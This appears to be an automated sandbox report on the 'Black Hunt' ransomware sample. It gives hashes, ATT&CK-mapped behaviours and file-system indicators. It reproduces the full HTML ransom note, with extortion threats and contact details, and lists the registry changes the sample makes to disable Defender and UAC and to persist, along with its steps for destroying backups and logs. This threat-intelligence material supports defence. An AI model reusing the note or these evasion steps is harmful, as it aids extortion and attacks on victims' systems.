50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:20

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General

Target

50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
Size

707KB
MD5

0cd858eab0168afc7aa914f44be913d8
SHA1

78feb757b2ed91c09c49e9267b03f12d4523fc03
SHA256

50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47
SHA512

cd4a9412e707b846eb49f65a6d33e984332182d91e04625fb7ffed7e06ca655e1b360b27562b8c099337d13f89fda4a60c75997ebf3882461788ff64e87d3ea4
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1t83vnh:6uaTmkZJ+naie5OTamgEoKxLWofh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> ryFsLBUNVOjB7QTv </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2612	fsutil.exe
5068	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4788	wevtutil.exe
4800	wevtutil.exe
4968	wevtutil.exe
4824	wevtutil.exe
5032	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1500	bcdedit.exe
1280	bcdedit.exe
4780	bcdedit.exe
4564	bcdedit.exe

Renames multiple (2906) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2884	wbadmin.exe
4796	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
4728	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\V:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\R:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\K:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\T:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\Y:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\H:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\Z:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Q:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\E:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\L:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\N:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\M:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\O:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\P:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\X:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\B:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\W:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\S:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\J:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\I:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\A:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\G:	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened (read-only)	\??\F:	cmd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#BlackHunt_ReadMe.hta	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Goose_Bay	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Damascus	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\feature.properties	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.common_5.5.0.165303.jar	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring-impl.jar	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.txt	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\EET	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Perth	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\#BlackHunt_ReadMe.hta	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jre7\lib\logging.properties	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\#BlackHunt_ReadMe.txt	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Khandyga	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\CET	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.txt	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Cape_Verde	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
